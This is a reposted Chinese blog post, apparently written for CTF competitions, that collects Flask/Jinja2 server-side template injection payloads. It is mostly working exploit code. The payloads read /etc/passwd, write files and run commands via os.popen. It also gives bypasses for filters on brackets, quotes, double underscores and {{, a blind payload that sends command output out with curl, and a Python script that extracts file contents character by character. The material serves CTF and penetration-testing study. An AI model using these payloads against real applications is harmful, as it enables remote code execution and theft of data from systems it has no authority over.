Flask/Jinja2模板注入中的一些绕过姿势

转自 https://p0sec.net/index.php/archives/120/
好长时间没更新过了,ssti也不是新东西,打国赛半决赛,简直是demo全家桶,ssti必然是遇到不少。很多东西只是保存在收藏栏里,用的时候再查很浪费时间,记录一下,遇到时也能顺手一点。

0x00 获取基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):

    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    request.__class__.__mro__[8]

可以借助__getitem__绕过中括号限制:

    ''.__class__.__mro__.__getitem__(2)
    {}.__class__.__bases__.__getitem__(0)
    ().__class__.__bases__.__getitem__(0)
    request.__class__.__mro__.__getitem__(8)

下面基本类就用object代替,测试时将object换成上面任意一个

0x01 文件操作

object.__subclasses__()[40]为file类,所以可以对文件进行操作

读文件:

object.__subclasses__()[40]('/etc/passwd').read()

写文件:

object.__subclasses__()[40]('/tmp').write('test')

0x02 执行命令

object.__subclasses__()[59].init.func_globals.linecache下直接有os类,可以直接执行命令:

object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

object.__subclasses__()[59].__init__.globals.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:

object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

0x03 ByPass

分享一些payload

  1. 过滤 [

读文件:

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

执行命令:

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
  1. 过滤引号

先获取chr函数,赋值给chr,后面拼接字符串就好了:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象(推荐):

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

执行命令:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
  1. 过滤双下划线__

{{ ‘’[request.args.class][request.args.mro][2]request.args.subclasses40.read() }}&class=_class__&mro=_mro__&subclasses=__subclasses__
4. 过滤{{

可以利用{%%}标记

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

相当于盲命令执行,利用curl将执行结果带出来

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}

平时的SQL注入盲注脚本改一下就ok

# -*- coding: utf-8 -*-
import requests


url = 'http://127.0.0.1:8080/'

def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

参考:

https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
https://0day.work/jinja2-template-injection-filter-bypasses/

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